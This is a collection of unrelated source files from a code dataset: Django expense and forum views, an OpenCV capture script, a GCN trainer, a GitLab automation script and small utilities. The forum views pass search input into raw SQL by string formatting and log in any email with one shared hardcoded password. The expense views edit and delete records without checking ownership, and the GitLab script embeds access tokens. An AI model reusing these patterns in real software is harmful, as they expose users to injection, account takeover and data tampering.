Expenses \nfrom django.contrib import messages\nfrom django.core.paginator import Paginator\nimport json\nfrom django.http import JsonResponse , HttpResponse\nfrom userpreferences.models import UserPreferences\nimport datetime\nimport csv\nimport xlwt\nfrom django.template.loader import render_to_string\n#from weasyprint import HTML\nfrom django.db.models import Sum\nimport tempfile\n# Create your views here.\n\n\n@login_required(login_url='/authentication/login')\ndef search_expenses(request):\n if request.method =='POST':\n search_str = json.loads(request.body).get('searchText')\n expenses = Expenses.objects.filter(\n amount__istartswith = search_str,owner=request.user) |Expenses.objects.filter(\n date__istartswith = search_str,owner=request.user) |Expenses.objects.filter(\n description__icontains = search_str,owner=request.user) |Expenses.objects.filter(\n category__icontains = search_str,owner=request.user)\n data = expenses.values()\n return JsonResponse(list(data),safe=False)\n\n\n\n\n@login_required(login_url='/authentication/login')\ndef index(request):\n categpries = Category.objects.all()\n expenses=Expenses.objects.filter(owner=request.user)\n paginator = Paginator(expenses,5)\n page_number = request.GET.get('page')\n page_obj = Paginator.get_page(paginator,page_number)\n exists = UserPreferences.objects.filter(user=request.user).exists()\n if exists:\n currency = UserPreferences.objects.get(user=request.user).currency\n\n else:\n currency = 'USD - United States Dollar'\n context = {\n \"expenses\":expenses,\n 'page_obj':page_obj,\n 'currency':currency\n }\n return render(request,'expenses/index.html',context)\n\n@login_required(login_url='/authentication/login')\ndef add_expenses(request):\n categpries = Category.objects.all()\n\n context = {\n 'categpries':categpries,\n 'values':request.POST,\n }\n\n if request.method == 'GET':\n\n return render(request,'expenses/add_expenses.html',context)\n\n if request.method == 'POST':\n amount = request.POST['amount']\n description = request.POST['description']\n date = request.POST['expens_date']\n category = request.POST['category']\n\n if not amount:\n messages.error(request,'Amount is required')\n return render(request,'expenses/add_expenses.html',context)\n\n if not category:\n messages.error(request,'Category is required')\n return render(request,'expenses/add_expenses.html',context)\n\n \n\n if not description:\n messages.error(request,'Description is required')\n return render(request,'expenses/add_expenses.html',context)\n \n if not date:\n messages.error(request,'Date is required')\n return render(request,'expenses/add_expenses.html',context)\n \n Expenses.objects.create(amount=amount,date=date,description=description,category=category,owner=request.user)\n messages.success(request,'Expenses saved successfully')\n return redirect('expenses')\n\n@login_required(login_url='/authentication/login')\ndef expense_edit(request,id):\n expense = Expenses.objects.get(pk=id)\n categpries = Category.objects.all()\n\n context = {\n 'expense':expense,\n 'values':expense,\n 'categpries':categpries\n }\n if request.method=='GET':\n return render (request,'expenses/edit-expense.html',context)\n\n if request.method=='POST':\n amount = request.POST['amount']\n description = request.POST['description']\n date = request.POST['expens_date']\n category = request.POST['category']\n\n if not amount:\n messages.error(request,'Amount is required')\n return render(request,'expenses/edit-expense.html',context)\n\n if not description:\n messages.error(request,'Description is required')\n return render(request,'expenses/edit-expense.html',context)\n \n if not date:\n messages.error(request,'Date is required')\n return render(request,'expenses/edit-expense.html',context)\n \n \n expense.owner=request.user\n expense.amount=amount\n expense.date=date\n expense.category=category\n expense.description=description\n expense.save()\n\n\n messages.success(request,'Expenses Updated successfully')\n return redirect('/')\n\n@login_required(login_url='/authentication/login')\ndef delete_expense(request,id):\n expense = Expenses.objects.get(pk=id)\n expense.delete()\n messages.success(request,'Expense removed')\n return redirect('/')\n\n\ndef expense_category_summary(request):\n todays_date = datetime.date.today()\n six_month_ago= todays_date-datetime.timedelta(days=30*6)\n expenses = Expenses.objects.filter(owner=request.user ,date__gte= six_month_ago,date__lte=todays_date)\n finalrep = {}\n\n def get_catgory(expense):\n return expense.category\n def get_expense_cagtegory_amount(category):\n amount = 0\n filter_by_category = expenses.filter(category=category)\n for item in filter_by_category:\n amount+=item.amount\n return amount\n category_list= list(set(map(get_catgory,expenses)))\n for x in expenses:\n for y in category_list:\n finalrep[y]=get_expense_cagtegory_amount(y)\n return JsonResponse({'expense_category_data':finalrep},safe=False)\n\ndef stat_view(request):\n return render (request,'expenses/stats.html')\n\n\ndef export_scv(request):\n\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition']='attachment; filename=Expenses'+str(datetime.datetime.now())+'.csv' \n\n writer = csv.writer(response)\n writer.writerow(['Amount','Description','category','Date'])\n expenses = Expenses.objects.filter(owner = request.user)\n for expense in expenses:\n writer.writerow([expense.amount,expense.description,expense.category,expense.date])\n \n return response\n\ndef export_excel(request):\n response = HttpResponse(content_type='application/ms-excel')\n response['Content-Disposition']='attachment; filename=Expenses'+str(datetime.datetime.now())+'.xls' \n wb = xlwt.Workbook(encoding='utf-8')\n ws = wb.add_sheet('Expenses')\n row_num = 0\n font_style = xlwt.XFStyle()\n font_style.font.bold = True\n\n columns = ['Amount','Description','category','Date']\n for col_num in range(len((columns))):\n ws.write(row_num,col_num,columns[col_num],font_style)\n \n font_style=xlwt.XFStyle()\n\n rows=Expenses.objects.filter(owner= request.user).values_list('amount','description','category','date')\n\n for row in rows:\n row_num+=1\n for col_num in range(len(row)):\n ws.write(row_num,col_num,str(row[col_num]),font_style)\n \n wb.save(response)\n return response\n'''\ndef export_pdf(request):\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition']='attachment; filename=Expenses'+str(datetime.datetime.now())+'.pdf' \n\n response['Content-Transfer-Encoding'] = 'binary'\n hhtml_string = render_to_string('expenses/pdf-output.html',{'expenses':[],'total':0})\n html = html(string = hhtml_string)\n result = html.write_pdf()\n\n with tempfile.NamedTemporaryFile(delete=True) as output:\n output.write(result)\n output.flush()\n output=open(output.name,'rb')\n response.write(output.read())\n \n return response\n'''\n\n","sub_path":"expenses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"264120287","text":"from curses import wrapper\nimport curses\n\nimport cv2\ncapture = cv2.VideoCapture(0)\nframe_width = int(capture.get(cv2.CAP_PROP_FRAME_WIDTH))\nframe_height = int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\nprint('Frame width:', frame_width)\nprint('Frame height:', frame_height)\n\nvideo = cv2.VideoWriter('data/captured_video.avi', cv2.VideoWriter_fourcc(*\n 'X264'), 25, (frame_width, frame_height))\n\n\ndef main(stdscr):\n stdscr.clear()\n while True:\n has_frame, frame = capture.read()\n if not has_frame:\n print('Can\\'t get frame')\n break\n video.write(frame)\n cv2.imshow('frame', frame)\n key = stdscr.getch()\n if key == ord('q'):\n print('Pressed q')\n capture.release()\n video.release()\n cv2.destroyAllWindows()\n break\n\n\ncapture.release()\nvideo.release()\ncv2.destroyAllWindows()\n","sub_path":"test_opencv_frame.py","file_name":"test_opencv_frame.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"446252751","text":"from datetime import datetime\nfrom src.layers import StackedGCNAmazon, StackedGCNAmazonV2\nfrom dataset.amazon import AmazonCommunity\nfrom torch_geometric.data import DataLoader\nimport random\nimport shutil\nfrom tqdm import tqdm\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\nimport pickle\nimport os\nimport os.path as osp\nimport json\nimport numpy as np\nfrom src.skipgram import SkipGramNeg, sample_walks\nfrom src.utils import dict2table, confusion, str2bool, TMP_WRITER_PATH\n\n\nclass GroupGCN():\n def __init__(self, args):\n dataset = AmazonCommunity(cutoff=args.maxhop, min_size=args.min_size,\n max_size=args.max_size)\n\n # make sure each runs share the same results\n if osp.exists('amazon_hete_shuffle_idx.pkl'):\n with open('amazon_hete_shuffle_idx.pkl', 'rb') as f:\n shuffle_idx = pickle.load(f)\n assert len(shuffle_idx) == len(dataset)\n else:\n shuffle_idx = [idx for idx in range(len(dataset))]\n random.shuffle(shuffle_idx)\n with open('amazon_hete_shuffle_idx.pkl', 'wb') as f:\n pickle.dump(shuffle_idx, f)\n\n with open('data/amazon/cat2id.pkl', 'rb') as f:\n cat2id = pickle.load(f)\n\n self.category_size = len(cat2id)\n print('max: ', max(shuffle_idx))\n print('len: ', len(dataset))\n dataset = dataset[shuffle_idx]\n\n split_pos = int(len(dataset)*0.7)\n train_idx = shuffle_idx[:split_pos]\n valid_idx_ = shuffle_idx[split_pos:]\n # 7: 1: 2 ; train : valid : test\n valid_pos = int(len(valid_idx_)*0.3333)\n valid_idx = valid_idx_[:valid_pos]\n test_idx = valid_idx_[valid_pos:]\n\n self.train_dataset = dataset[train_idx]\n self.test_dataset = dataset[test_idx]\n self.valid_dataset = dataset[valid_idx]\n\n self.args = args\n if args.writer is True:\n self.log_path = osp.join(\n \"logs\", \"amazon\",\n 'amazon_hete_'+datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\"))\n else:\n shutil.rmtree(TMP_WRITER_PATH, ignore_errors=True)\n self.log_path = TMP_WRITER_PATH\n\n self.writer = SummaryWriter(log_dir=self.log_path)\n self.save_path = osp.join(self.log_path, \"models\")\n os.makedirs(self.save_path, exist_ok=True)\n print('finish init')\n\n def save_checkpoint(self, checkpoint, save_path, save_name):\n save_path = osp.join(save_path, 'model_{}.pth'.format(save_name))\n torch.save(checkpoint, save_path)\n\n def evaluate(self, dataloader, model):\n model.eval()\n recalls = []\n precisions = []\n losses = []\n B = args.batch_size\n user_size = len(self.train_dataset.user2id)\n criterion = torch.nn.BCEWithLogitsLoss(pos_weight=self.pos_weight)\n print('Validation')\n with torch.no_grad():\n for val_data in tqdm(dataloader, dynamic_ncols=True):\n x, edge_index, label_mask = (val_data.x, val_data.edge_index,\n val_data.label_mask)\n y = val_data.y.cpu()\n pred_mask = val_data.label_mask\n label = val_data.y.unsqueeze(-1).cuda().float()\n if isinstance(model, StackedGCNAmazonV2):\n pred = model(edge_index.cuda(), x.cuda(),\n label_mask.cuda())\n else:\n pred = model(edge_index.cuda(), x.cuda())\n loss = criterion(pred[pred_mask], label[pred_mask])\n pred = torch.sigmoid(pred).cpu()\n mask_idx = (pred_mask == 1)#.nonzero().flatten()\n B = val_data.batch.max()+1\n y_pred = torch.FloatTensor(B, user_size)\n y_target = torch.FloatTensor(B, user_size)\n y_pred.zero_()\n y_target.zero_()\n pred = pred.squeeze(1)\n for batch_idx in range(B):\n batch_idxes = (val_data.batch == batch_idx)\n\n target_idx = (y == 1)\n x_idx = x[ batch_idxes & mask_idx & target_idx, 0 ]\n y_target[batch_idx, x_idx ] = 1\n\n target_idx = (pred > 0.5)\n x_idx = x[ batch_idxes & mask_idx & target_idx, 0 ]\n y_pred[batch_idx, x_idx ] = 1\n # consider last batch in dataloader for smaller batch size\n TP, FP, TN, FN = confusion(y_pred, y_target)\n\n recall = 0 if (TP+FN) < 1e-5 else TP/(TP+FN)\n precision = 0 if (TP+FP) < 1e-5 else TP/(TP+FP)\n precisions.append(precision)\n recalls.append(recall)\n losses.append((loss.sum()/val_data.num_graphs).item())\n\n avg_recalls = np.mean(recalls)\n avg_precisions = np.mean(precisions)\n if (avg_recalls+avg_precisions) == 0:\n f1 = np.nan\n else:\n f1 = 2*(avg_recalls*avg_precisions)/(avg_recalls+avg_precisions)\n model.train()\n return f1, avg_recalls, avg_precisions, np.mean(losses)\n\n def train(self, epochs=200):\n from torch.optim.lr_scheduler import ReduceLROnPlateau\n args = self.args\n train_size = len(self.train_dataset.processed_file_idx)\n val_size = len(self.valid_dataset.processed_file_idx)\n print((len(set(self.valid_dataset.processed_file_idx+self.train_dataset.processed_file_idx))))\n print(train_size+val_size)\n assert (len(set(self.valid_dataset.processed_file_idx+self.train_dataset.processed_file_idx))) == (train_size+val_size)\n\n train_loader = DataLoader(self.train_dataset,\n batch_size=args.batch_size,\n shuffle=True)\n valid_loader = DataLoader(self.valid_dataset,\n batch_size=args.batch_size,\n shuffle=False)\n test_loader = DataLoader(self.test_dataset,\n batch_size=args.batch_size,\n shuffle=False)\n if args.label_mask:\n model_class = StackedGCNAmazonV2\n else:\n model_class = StackedGCNAmazon\n model = model_class(len(self.train_dataset.user2id),\n category_size=self.category_size,\n user_dim=args.user_dim,\n category_dim=args.cat_dim,\n input_channels=args.input_dim,\n layers=args.layers,\n dropout=args.dropout)\n\n if args.pretrain:\n model = self.pretrain_embeddings(model, 64, epoch_num=2)\n model = model.cuda()\n\n if args.pos_weight <= 0:\n weight = 50 # default\n args.pos_weight = weight\n else:\n weight = args.pos_weight\n optimizer = torch.optim.Adam(\n model.parameters(), lr=args.lr, weight_decay=5e-4)\n scheduler = ReduceLROnPlateau(optimizer, 'max')\n print('weight : ', weight)\n pos_weight = torch.ones([1])*weight\n self.pos_weight = pos_weight.cuda()\n criterion = torch.nn.BCEWithLogitsLoss(pos_weight=self.pos_weight)\n\n n_iter = 0\n best_f1 = 0\n self.writer.add_text('Text', dict2table(vars(args)), 0)\n\n with tqdm(total=len(train_loader)*epochs, dynamic_ncols=True) as pbar:\n for epoch in range(epochs):\n for data in train_loader:\n optimizer.zero_grad()\n x, edge_index, label_mask = (data.x, data.edge_index,\n data.label_mask)\n x = x.cuda()\n edge_index = edge_index.cuda()\n label_mask = label_mask.cuda()\n pred_mask = data.label_mask.cuda() == 1\n label = data.y.unsqueeze(-1).cuda().float()\n if isinstance(model, StackedGCNAmazonV2):\n output = model(edge_index, x, label_mask)\n else:\n output = model(edge_index, x)\n loss = criterion(output[pred_mask], label[pred_mask])\n loss.backward()\n\n optimizer.step()\n self.writer.add_scalar(\n \"Train/BCEWithLogitsLoss\", loss.item(), n_iter)\n pbar.update(1)\n pbar.set_description(\n \"loss {:.4f}, epoch {}\".format(loss.item(), epoch))\n n_iter += 1\n\n if epoch % args.eval == 0:\n print('Epoch: ', epoch)\n f1, recalls, precisions, loss = self.evaluate(valid_loader,\n model)\n scheduler.step(f1)\n self.writer.add_scalar(\"Valid/F1\", f1, n_iter)\n self.writer.add_scalar(\"Valid/Recalls\", recalls, n_iter)\n self.writer.add_scalar(\"Valid/Precisions\", precisions,\n n_iter)\n self.writer.add_scalar(\"Valid/avg_BCEWithLogitsLoss\", loss,\n n_iter)\n if f1 > best_f1:\n best_f1 = f1\n best_checkpoint = {\n 'epoch': epoch+1,\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'f1': f1\n }\n\n if epoch % args.save == 0:\n self.save_checkpoint({\n 'epoch': epoch+1,\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'f1': f1\n },\n self.save_path,\n \"{}\".format(epoch+1)\n )\n\n print(\"Testing\")\n self.save_checkpoint(best_checkpoint,\n self.save_path,\n \"best\")\n model.load_state_dict(best_checkpoint[\"model\"])\n f1, recalls, precisions, loss = self.evaluate(test_loader, model)\n self.writer.add_scalar(\"Test/F1\", f1, n_iter)\n self.writer.add_scalar(\"Test/Recalls\", recalls, n_iter)\n self.writer.add_scalar(\"Test/Precisions\", precisions, n_iter)\n self.writer.add_scalar(\"Test/avg_BCEWithLogitsLoss\", loss, n_iter)\n self.writer.flush()\n\n # clean tmp_writer\n if args.writer is False:\n shutil.rmtree(TMP_WRITER_PATH, ignore_errors=True)\n return f1, recalls, precisions, loss\n\n def pretrain_embeddings(self, model, batch_size, epoch_num=1, neg_num=20):\n import torch.optim as optim\n print('Pretrain embeddings')\n node_types = {\n 0: model.user_size,\n 1: model.category_size,\n }\n embeddings = {}\n for node_type, (embed_size, dim) in node_types.items():\n if osp.exists(osp.join(args.pretrain_weight,\n 'random_walk_{}.pt'.format(node_type))):\n samples = torch.load(\n osp.join(args.pretrain_weight,\n 'random_walk_{}.pt'.format(node_type)))['samples']\n else:\n samples = sample_walks(self.train_dataset, neg_num, batch_size,\n node_type, embed_size, cpu_count=40)\n torch.save({'samples': samples},\n osp.join(self.save_path,\n 'random_walk_{}.pt'.format(node_type)))\n\n skip_model = SkipGramNeg(embed_size, dim).cuda()\n optimizer = optim.SGD(skip_model.parameters(), lr=1e-5,\n weight_decay=1e-9)\n iteration = list(range(len(self.train_dataset)))\n total_idx = 0\n with tqdm(total=len(iteration)*epoch_num) as pbar:\n for e in range(epoch_num):\n random.shuffle(samples)\n for idx, sample in enumerate(samples):\n context, target, negative = sample\n context = torch.from_numpy(context).long().cuda()\n target = torch.from_numpy(target).long().cuda()\n negative = torch.from_numpy(negative).long().cuda()\n loss = skip_model(target, context, negative)\n\n loss.backward()\n optimizer.step()\n pbar.set_description(\n \"loss {:.4f}, iter {}\".format(loss.item(),\n total_idx))\n if self.writer is not None:\n self.writer.add_scalar(\n 'Skipgram/loss/%d' % node_type,\n loss.item(), total_idx)\n total_idx += 1\n pbar.update(1)\n del samples\n skip_model = skip_model.cpu()\n embeddings[node_type] = skip_model.input_emb.weight\n if node_type == 0:\n print('transfer user embeddings')\n model.embeddings.weight.data = skip_model.input_emb.weight.data\n elif node_type == 1:\n print('transfer category embeddings')\n model.category_embeddings.weight.data = skip_model.input_emb.weight.data\n torch.save(embeddings, osp.join(self.save_path, 'embeddings.pt'))\n return model\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser(\n description='Deepset Recommendation Model on Amazon with categories')\n # dataset parameters\n parser.add_argument('--min-size', type=int, default=5)\n parser.add_argument('--max-size', type=int, default=100)\n parser.add_argument('--pred-ratio', type=float, default=0.8)\n parser.add_argument('--maxhop', type=int, default=2)\n # training parameters\n parser.add_argument('--epochs', type=int, default=100)\n parser.add_argument('--batch-size', type=int, default=128)\n parser.add_argument('--lr', type=float, default=0.001)\n parser.add_argument('--pos-weight', type=float, default=-1)\n parser.add_argument('--eval', type=int, default=10)\n parser.add_argument('--save', type=int, default=50)\n parser.add_argument('--pretrain', type=str2bool, nargs='?', default=False)\n parser.add_argument('--pretrain-weight', type=str, default='')\n parser.add_argument('--label-mask', type=str2bool, nargs='?',\n default=False, help=\"add label_mask as input\")\n # model parameters\n parser.add_argument('--user-dim', type=int, default=16)\n parser.add_argument('--cat-dim', type=int, default=8)\n parser.add_argument('--input-dim', type=int, default=32)\n parser.add_argument('--dropout', type=float, default=0.1)\n parser.add_argument('--layers', nargs='+', type=int, default=[32, 32, 32])\n parser.add_argument('--repeat-n', type=int, default=1)\n # debug\n parser.add_argument('--writer', type=str2bool, nargs='?', default=True)\n\n args = parser.parse_args()\n values = {\n 'f1': [],\n 'recall': [],\n 'precision': [],\n 'loss': []\n }\n\n for i in range(args.repeat_n):\n trainer = GroupGCN(args)\n f1, recalls, precisions, loss = trainer.train(epochs=args.epochs)\n values['f1'].append(f1)\n values['recall'].append(recalls)\n values['precision'].append(precisions)\n values['loss'].append(loss)\n\n results = {}\n for key, value in values.items():\n results['avg_'+key] = np.mean(value)\n results['std_'+key] = np.std(value)\n results['results'] = values\n results['arguments'] = vars(args)\n with open('amazon_gcn_'+datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")+'_.json', 'w') as f:\n json.dump(results, f, indent=4, sort_keys=True)\n","sub_path":"src/amazon_trainer.py","file_name":"amazon_trainer.py","file_ext":"py","file_size_in_byte":16230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"560191663","text":"#/usr/bin/python3\nimport gitlab\nimport sys\nimport requests\nimport os\nimport json\n\n\n\nclass Autoproject():\n\n def __init__(self,url,private_token):\n self.url = url \n self.private_token = private_token\n \n def User_login(self,people):\n access_gitlab = ''\n for user,token in self.private_token.items():\n if user == people:\n print('Current User => :',user)\n access_gitlab = gitlab.Gitlab(url,token)\n return access_gitlab\n \n\t\n def Create_project(self,userLogin,project_name):\n try:\n userLogin.projects.create({'name':project_name})\n if not (isinstance(userLogin,str)):\n userLogin.auth()\n current_user = userLogin.user\n print(\"User: =>\",current_user.username,\"Project: =>\",project_name)\n except gitlab.exceptions.GitlabCreateError as git:\n print('Project token already exist!'+str(git))\n \n\t\n\t\n def Create_Group(self,userLogin,gp_name,gp_path):\n try:\n userLogin.groups.create({'name':gp_name,'path':gp_path})\n print(\"Group_Name : =>\",gp_name,\"Group_path : =>\",gp_path)\n except gitlab.exceptions.GitlabCreateError as group:\n print('Group token already exist!'+str(group))\n\n\t\n\n def template_in_project(self,userLogin,project_name,temp_repo):\n try:\n if not (isinstance(userLogin,str)) and userLogin.projects.list(search=project_name):\n userLogin.auth()\n current_user = userLogin.user\n project = userLogin.projects.get(current_user.username+\"/\"+project_name)\n if project.namespace['name'] == current_user.username:\n rep = userLogin.projects.get(temp_repo)\n items = rep.repository_tree()\n ids = [d['id'] for d in items]\n paths = [d['path'] for d in items]\n for i in range(0, len(ids)):\n file_content = rep.repository_raw_blob(ids[i])\n filepath = paths[i]\n project.files.create({'file_path': filepath,\n 'branch': 'master',\n 'content': file_content.decode(\"utf-8\"),\n 'commit_message': 'Create template'})\n except gitlab.exceptions.GitlabCreateError as template_error:\n print('Current templates file exist!'+str(template_error))\n except:\n print('Current project not match current user! : Please Check Project or user')\n \n\t\t\n\t\n\t\n\t\n\nif __name__ == '__main__':\n url = 'http://gitlab.example.com' \n private_token = {'jaychang':'-8cRSuaukyjJPYmpmzPR','allen':'9rYTNrR7yhdjYrDsuZxE'} \n login = Autoproject(url,private_token)\n userLogin = login.User_login('allen')\n login.template_in_project(userLogin,'test','JayChang/template')\n\n\n\n\n\n\n\n\n\n\n \n\t\t\n\t\n\t\n\t\n\n\t\n\t\n\n\t\n\t\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Gen_Auto_Project.py","file_name":"Gen_Auto_Project.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"282749676","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.conf.urls import patterns, url\nfrom django.views.generic import TemplateView\n\n\nurlpatterns = patterns(\n '',\n url(r'^$', 'hello.views.home_page', name='home'),\n url(r'^requests/$', 'hello.views.request_view', name='request'),\n url(r'^request_ajax/$', 'hello.views.request_ajax', name='request_ajax'),\n url(r'^add_contact/$', 'hello.views.form_page', name='form'),\n url(r'^add_contact/success/$',\n TemplateView.as_view(template_name=\"success.html\"), name='success'),\n)\n","sub_path":"apps/hello/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"129756753","text":"from libraptorq import RQEncoder\nimport hashlib, base64\n\ndef RaptorQEncode(data, subsymbol_size, symbol_size, max_memory, overhead):\n data_len, data_sha256 = len(data), hashlib.sha256(data).digest()\n if data_len % 4: data += '\\0' * (4 - data_len % 4)\n with RQEncoder(data, subsymbol_size, symbol_size, max_memory) as enc:\n oti_scheme, oti_common = enc.oti_scheme, enc.oti_common\n\n symbols, enc_k= list(), 0\n for block in enc:\n enc_k += block.symbols\n block_syms = list(block.encode_iter(repair_rate=overhead))\n symbols.extend(block_syms)\n\n symbols = filter(None, symbols)\n\n b64_encode = base64.urlsafe_b64encode\n\n return dict(data_bytes=data_len, oti_scheme=oti_scheme, oti_common=oti_common,\n symbols=list((s[0], b64_encode(s[1])) for s in symbols),\n checksums=dict(sha256=b64_encode(data_sha256)))\n","sub_path":"Core/Encoders.py","file_name":"Encoders.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"86337844","text":"\n\n__all__ = [\"fasta_file_validator\",\n \"sequence_extractor\",\n \"Data_frame\",\n \"predict_sequence\",\n \"Predict_frame\",]\n\nimport os\nimport pandas as pd\n\ndef fasta_file_validator(file):\n if os.path.isfile(file):\n return True\n return TypeError(\"File doesn't exist.\")\n\ndef sequenceRepair(seq_list):\n repaired = []\n for index,seq in enumerate(seq_list):\n if (\"X\" in seq):\n seq = seq.replace(\"X\",\"\")\n if (\"B\" in seq):\n seq = seq.replace(\"B\",\"\")\n if (\"Z\" in seq):\n seq = seq.replace(\"Z\",\"\")\n \n repaired.insert(index,seq)\n return repaired\n \n\ndef predict_sequence(file):\n try:\n data = pd.read_csv(file)\n except:\n raise FileNotFoundError(\"File handling error occured\")\n sequence = sequenceRepair(data[\"sequence\"].to_list())\n \n return sequence\n\n\ndef sequence_extractor(file):\n try:\n data = pd.read_csv(file)\n except:\n raise FileNotFoundError(\"File handling error occured\")\n sequence = sequenceRepair(data[\"sequence\"].to_list())\n Target = data[\"mean_growth_PH\"]\n\n return [sequence,Target.to_list()]\n\ndef Predict_frame(data,):\n descriptor_data = pd.DataFrame(data)\n return descriptor_data\n \n\ndef Data_frame(data,target):\n descriptor_data = pd.DataFrame(data)\n if descriptor_data.shape[0] == len(target):\n descriptor_data.insert(descriptor_data.shape[1],column=\"Target\",value=target)\n return descriptor_data\n ","sub_path":"src/EnzymePh/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"184437161","text":"import json\n\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.core import serializers\nfrom django.shortcuts import render\nfrom django.db import connection\nfrom django.urls import reverse\n\nfrom app.forms import LoginForm\nfrom app.models import *\n\n\ndef main(request):\n template = 'index.html'\n\n n_users = len(ForumUser.objects.all())\n n_tags = len(Tag.objects.all())\n n_posts = len(Post.objects.all())\n\n context = {\n 'user': request.user,\n 'posts': Post.objects.order_by('-id')[:6],\n 'tags': Tag.objects.order_by('-id')[:6],\n 'n_posts': n_posts,\n 'n_tags': n_tags,\n 'n_users': n_users\n }\n return render(request, template, context)\n\n\ndef login_user(request):\n logout(request)\n\n template = 'login.html'\n if request.POST:\n email = request.POST.get('email')\n password = request.POST.get('password')\n print(email, password)\n\n user = auth(email, password)\n if user is not None:\n login(request, user)\n return HttpResponseRedirect(reverse('app:main'))\n else:\n return HttpResponseRedirect(reverse('app:login'))\n else:\n form = LoginForm()\n\n context = {\n 'user': request.user,\n 'form': form\n }\n return render(request, template, context)\n\n\ndef auth(email, password):\n if email == '' or password == '':\n return None\n\n act_password = 'iamstudent'\n\n if password != act_password:\n return None\n\n return get_forum_user(email, password)\n\n\ndef get_forum_user(email, password):\n try:\n user = User.objects.get(username=email)\n except Exception as e:\n print(e)\n user = User()\n user.username = email\n user.email = email\n\n user.set_password(password)\n user.save()\n\n try:\n ForumUser.objects.get(django_user=user)\n except Exception as e:\n print(e)\n forum_user = ForumUser()\n forum_user.django_user = user\n forum_user.save()\n\n user = authenticate(username=email, password=password)\n return user\n\n\n@login_required\ndef user_profile(request):\n template = 'profile.html'\n context = {\n 'user': request.user,\n }\n return render(request, template, context)\n\n\ndef get_posts(request):\n template = 'posts.html'\n items_per_page = 25\n page = int(request.GET.get(key='page', default=1))\n\n sql_query = 'call autodidact_forum.search_post(\"%s\")' % ''\n posts = list(Post.objects.raw(sql_query))\n\n query = request.GET.get('query')\n if query is not None:\n # posts = posts.filter(title__icontains=query)\n sql_query = 'call autodidact_forum.search_post(\"%s\")' % query\n posts = list(Post.objects.raw(sql_query))\n\n paginator = Paginator(object_list=posts, per_page=items_per_page)\n\n context = {\n 'user': request.user,\n 'query': query,\n 'items': paginator.page(page),\n }\n return render(request, template, context)\n\n\ndef get_tags(request):\n template = 'tags.html'\n items_per_page = 25\n page = int(request.GET.get(key='page', default=1))\n\n sql_query = 'call autodidact_forum.search_tag(\"%s\")' % ''\n tags = list(Tag.objects.raw(sql_query))\n\n query = request.GET.get('query')\n if query is not None:\n # tags = tags.filter(name__icontains=query)\n sql_query = 'call autodidact_forum.search_tag(\"%s\")' % query\n tags = list(Tag.objects.raw(sql_query))\n\n paginator = Paginator(object_list=tags, per_page=items_per_page)\n\n context = {\n 'user': request.user,\n 'query': query,\n 'items': paginator.page(page),\n }\n return render(request, template, context)\n\n\ndef get_users(request):\n template = 'users.html'\n items_per_page = 25\n page = int(request.GET.get(key='page', default=1))\n\n sql_query = 'call autodidact_forum.search_forum_user(\"%s\")' % ''\n forumUsers = list(ForumUser.objects.raw(sql_query))\n\n query = request.GET.get('query')\n if query is not None:\n # forumUsers = forumUsers.filter(django_user__email__icontains=query)\n sql_query = 'call autodidact_forum.search_forum_user(\"%s\")' % query\n forumUsers = list(ForumUser.objects.raw(sql_query))\n print(forumUsers)\n\n paginator = Paginator(object_list=forumUsers, per_page=items_per_page)\n\n context = {\n 'user': request.user,\n 'query': query,\n 'items': paginator.page(page),\n }\n return render(request, template, context)\n\n\n@login_required\ndef get_profile(request):\n forumUser = ForumUser.objects.get(django_user=request.user)\n template = 'user_profile.html'\n tags = Tag.objects.filter(created_by=forumUser)[:3]\n # forumUser.tag_set.all()\n context = {\n 'user': request.user,\n 'user_obj': forumUser,\n 'tags': tags\n }\n return render(request, template, context)\n\n\ndef post_details(request, pk):\n post = Post.objects.get(pk=pk)\n\n if request.user.is_authenticated():\n forum_user = ForumUser.objects.get(django_user=request.user)\n post.viewers.add(forum_user)\n post.save()\n\n template = 'post_details.html'\n context = {\n 'user': request.user,\n 'post': post\n }\n return render(request, template, context)\n\n\ndef tag_details(request, pk):\n tag = Tag.objects.get(pk=pk)\n template = 'tag_details.html'\n context = {\n 'user': request.user,\n 'tag': tag\n }\n return render(request, template, context)\n\n\ndef user_details(request, pk):\n user = ForumUser.objects.get(pk=pk)\n template = 'user_details.html'\n tags = Tag.objects.filter(created_by_id=pk)[:3]\n # user.tag_set.all()\n # print(tags)\n context = {\n 'user': request.user,\n 'user_obj': user,\n 'tags': tags\n }\n return render(request, template, context)\n\n\n@login_required\ndef add_tag(request):\n if request.POST:\n tag_name = request.POST.get('tag')\n\n cursor = connection.cursor()\n forum_user_id = ForumUser.objects.get(django_user=request.user).id\n\n query = 'call add_tag(\"%s\", %d)' % (tag_name, forum_user_id)\n cursor.execute(query)\n\n return HttpResponseRedirect(reverse('app:main'))\n else:\n return HttpResponse('This is a get 